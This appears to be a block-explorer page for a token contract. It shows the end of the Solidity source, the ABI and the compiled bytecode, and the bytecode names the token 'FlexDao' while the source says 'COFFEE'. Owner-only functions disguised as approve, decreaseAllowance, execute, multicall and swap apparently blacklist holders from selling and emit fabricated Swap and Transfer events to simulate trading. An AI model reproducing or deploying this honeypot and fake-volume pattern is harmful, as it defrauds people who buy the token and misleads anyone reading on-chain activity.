        emit DelegateChanged(delegator, currentDelegate, delegatee);
        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
        uint32 blockNumber = safe32(block.number, "COFFEE::_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            require(nCheckpoints + 1 > nCheckpoints, "COFFEE::_writeCheckpoint: new checkpoint exceeds 32 bits");
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - amount;
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + amount;
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lp_","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600781526020017f466c657844616f000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f464c4558000000000000000000000000000000000000000000000000000000008152506200016362000157620001de60201b60201c565b620001e660201b60201c565b81600690805190602001906200017b9291906200042c565b508060079080519060200190620001949291906200042c565b505050620001d833620001ac620002aa60201b60201c565b600a620001ba919062000676565b64e8d4a51000620001cc9190620006c7565b620002b360201b60201c565b6200089b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000326576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200031d9062000789565b60405180910390fd5b6200033a600083836200042260201b60201c565b80600460008282546200034e9190620007ab565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000402919062000819565b60405180910390a36200041e600083836200042760201b60201c565b5050565b505050565b505050565b8280546200043a9062000865565b90600052602060002090601f0160209004810192826200045e5760008555620004aa565b82601f106200047957805160ff1916838001178555620004aa565b82800160010185558215620004aa579182015b82811115620004a95782518255916020019190600101906200048c565b5b509050620004b99190620004bd565b5090565b5b80821115620004d8576000816000905550600101620004be565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056a57808604811115620005425762000541620004dc565b5b6001851615620005525780820291505b808102905062000562856200050b565b945062000522565b94509492505050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd620004dc565b5b8360020a915084821115620005e857620005e7620004dc565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a905083811115620006235762000622620004dc565b5b62000658565b62000638848484600162000518565b92509050818404811115620006525762000651620004dc565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000683826200065f565b9150620006908362000669565b9250620006bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b6000620006d4826200065f565b9150620006e1836200065f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200071d576200071c620004dc565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000771601f8362000728565b91506200077e8262000739565b602082019050919050565b60006020820190508181036000830152620007a48162000762565b9050919050565b6000620007b8826200065f565b9150620007c5836200065f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007fd57620007fc620004dc565b5b828201905092915050565b62000813816200065f565b82525050565b600060208201905062000830600083018462000808565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087e57607f821691505b6020821081141562000895576200089462000836565b5b50919050565b613b2480620008ab6000396000f3fe608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063715018a61161011a578063a457c2d7116100ad578063beabacc81161007c578063beabacc8146105fa578063dd62ed3e14610616578063e7a324dc14610646578063f1127ed814610664578063f2fde38b14610695576101fb565b8063a457c2d71461054e578063a7dec3811461057e578063a9059cbb1461059a578063b4b5ea57146105ca576101fb565b80637ecebe00116100e95780637ecebe00146104c65780638da5cb5b146104f657806395d89b4114610514578063a1c617f514610532576101fb565b8063715018a61461045457806377a1736b1461045e578063782d6fe11461047a5780637aac697b146104aa576101fb565b8063313ce567116101925780635c19a95c116101615780635c19a95c146103bc5780636fcfff45146103d857806370a08231146104085780637111a99414610438576101fb565b8063313ce567146103225780633950935114610340578063477e194414610370578063587cde1e1461038c576101fb565b806319ab453c116101ce57806319ab453c1461028857806320606b70146102a457806323b872dd146102c25780632f54bf6e146102f2576101fb565b806306fdde0314610200578063095ea7b31461021e5780630ca12b3d1461024e57806318160ddd1461026a575b600080fd5b6102086106b1565b6040516102159190612b6c565b60405180910390f35b61023860048036038101906102339190612c2c565b610743565b6040516102459190612c87565b60405180910390f35b61026860048036038101906102639190612d07565b610766565b005b61027261099b565b60405161027f9190612d8a565b60405180910390f35b6102a2600480360381019061029d9190612da5565b6109a5565b005b6102ac6109f1565b6040516102b99190612deb565b60405180910390f35b6102dc60048036038101906102d79190612e06565b610a15565b6040516102e99190612c87565b60405180910390f35b61030c60048036038101906103079190612da5565b610a44565b6040516103199190612c87565b60405180910390f35b61032a610a9a565b6040516103379190612e75565b60405180910390f35b61035a60048036038101906103559190612c2c565b610aa3565b6040516103679190612c87565b60405180910390f35b61038a60048036038101906103859190612e90565b610ada565b005b6103a660048036038101906103a19190612da5565b610b87565b6040516103b39190612eec565b60405180910390f35b6103d660048036038101906103d19190612da5565b610bf0565b005b6103f260048036038101906103ed9190612da5565b610bfd565b6040516103ff9190612f26565b60405180910390f35b610422600480360381019061041d9190612da5565b610c20565b60405161042f9190612d8a565b60405180910390f35b610452600480360381019061044d9190612f97565b610c69565b005b61045c610d5f565b005b61047860048036038101906104739190612e90565b610d73565b005b610494600480360381019061048f9190612c2c565b610efd565b6040516104a19190612d8a565b60405180910390f35b6104c460048036038101906104bf9190612d07565b6112d4565b005b6104e060048036038101906104db9190612da5565b611460565b6040516104ed9190612d8a565b60405180910390f35b6104fe611478565b60405161050b9190612eec565b60405180910390f35b61051c6114a1565b6040516105299190612b6c565b60405180910390f35b61054c60048036038101906105479190612d07565b611533565b005b61056860048036038101906105639190612c2c565b6116be565b6040516105759190612c87565b60405180910390f35b61059860048036038101906105939190612d07565b611735565b005b6105b460048036038101906105af9190612c2c565b611969565b6040516105c19190612c87565b60405180910390f35b6105e460048036038101906105df9190612da5565b61198c565b6040516105f19190612d8a565b60405180910390f35b610614600480360381019061060f9190612e06565b611a6b565b005b610630600480360381019061062b919061304b565b611ad5565b60405161063d9190612d8a565b60405180910390f35b61064e611b5c565b60405161065b9190612deb565b60405180910390f35b61067e600480360381019061067991906130b7565b611b80565b60405161068c9291906130f7565b60405180910390f35b6106af60048036038101906106aa9190612da5565b611bc1565b005b6060600680546106c09061314f565b80601f01602080910402602001604051908101604052809291908181526020018280546106ec9061314f565b80156107395780601f1061070e57610100808354040283529160200191610739565b820191906000526020600020905b81548152906001019060200180831161071c57829003601f168201915b5050505050905090565b60008061074e611c45565b905061075b818585611c4d565b600191505092915050565b60005b848490508110156109945784848281811061078757610786613181565b5b905060200201602081019061079c9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161082294939291906131f5565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061087657610875613181565b5b905060200201602081019061088b9190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108d09190612d8a565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109799190612d8a565b60405180910390a3808061098c90613269565b915050610769565b5050505050565b6000600454905090565b6109ad611e18565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600080610a20611c45565b9050610a2d858285611e96565b610a38858585611f22565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b600080610aae611c45565b9050610acf818585610ac08589611ad5565b610aca91906132b2565b611c4d565b600191505092915050565b610ae2611e18565b60005b82829050811015610b8257600060026000858585818110610b0957610b08613181565b5b9050602002016020810190610b1e9190612da5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b7a90613269565b915050610ae5565b505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610bfa338261229a565b50565b600c6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610d5657848482818110610c8a57610c89613181565b5b9050602002016020810190610c9f9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610cc857610cc7613181565b5b9050602002016020810190610cdd9190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610d2757610d26613181565b5b90506020020135604051610d3b9190612d8a565b60405180910390a38080610d4e90613269565b915050610c6c565b50505050505050565b610d67611e18565b610d71600061240b565b565b610d7b611e18565b60005b82829050811015610ef857600160026000858585818110610da257610da1613181565b5b9050602002016020810190610db79190612da5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610e5457610e53613181565b5b9050602002016020810190610e699190612da5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610ed0868686818110610eb657610eb5613181565b5b9050602002016020810190610ecb9190612da5565b610c20565b604051610edd9190612d8a565b60405180910390a38080610ef090613269565b915050610d7e565b505050565b6000438210610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061337a565b60405180910390fd5b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610fae5760009150506112ce565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610ffd919061339a565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116110aa57600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611084919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506112ce565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561112b5760009150506112ce565b60008060018361113b919061339a565b90505b8163ffffffff168163ffffffff16111561126857600060028383611162919061339a565b61116c91906133fd565b82611177919061339a565b90506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415611237578060200151955050505050506112ce565b86816000015163ffffffff16101561125157819350611261565b60018261125e919061339a565b92505b505061113e565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60005b84849050811015611459578484828181106112f5576112f4613181565b5b905060200201602081019061130a9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161139094939291906131f5565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106113e4576113e3613181565b5b90506020020160208101906113f99190612da5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143e9190612d8a565b60405180910390a3808061145190613269565b9150506112d7565b5050505050565b600e6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546114b09061314f565b80601f01602080910402602001604051908101604052809291908181526020018280546114dc9061314f565b80156115295780601f106114fe57610100808354040283529160200191611529565b820191906000526020600020905b81548152906001019060200180831161150c57829003601f168201915b5050505050905090565b60005b848490508110156116b75784848281811061155457611553613181565b5b90506020020160208101906115699190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516115ee949392919061342e565b60405180910390a384848281811061160957611608613181565b5b905060200201602081019061161e9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169c9190612d8a565b60405180910390a380806116af90613269565b915050611536565b5050505050565b6000806116c9611c45565b905060006116d78286611ad5565b90508381101561171c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611713906134e5565b60405180910390fd5b6117298286868403611c4d565b60019250505092915050565b60005b848490508110156119625784848281811061175657611755613181565b5b905060200201602081019061176b9190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117f0949392919061342e565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118999190612d8a565b60405180910390a38484828181106118b4576118b3613181565b5b90506020020160208101906118c99190612da5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119479190612d8a565b60405180910390a3808061195a90613269565b915050611738565b5050505050565b600080611974611c45565b9050611981818585611f22565b600191505092915050565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116119f6576000611a63565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611a44919061339a565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ac89190612d8a565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600d602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611bc9611e18565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3090613577565b60405180910390fd5b611c428161240b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb490613609565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d249061369b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e0b9190612d8a565b60405180910390a3505050565b611e20611c45565b73ffffffffffffffffffffffffffffffffffffffff16611e3e611478565b73ffffffffffffffffffffffffffffffffffffffff1614611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90613707565b60405180910390fd5b565b6000611ea28484611ad5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611f1c5781811015611f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0590613773565b60405180910390fd5b611f1b8484848403611c4d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8990613805565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff990613897565b60405180910390fd5b61200d8383836124cf565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90613929565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c85750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122245760011515600560009054906101000a900460ff16151514612223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221a9061396f565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122819190612d8a565b60405180910390a36122948484846124d4565b50505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061230984610c20565b905082600b60008673ffffffffffffffffffffffffffffffffffffffff1673fffff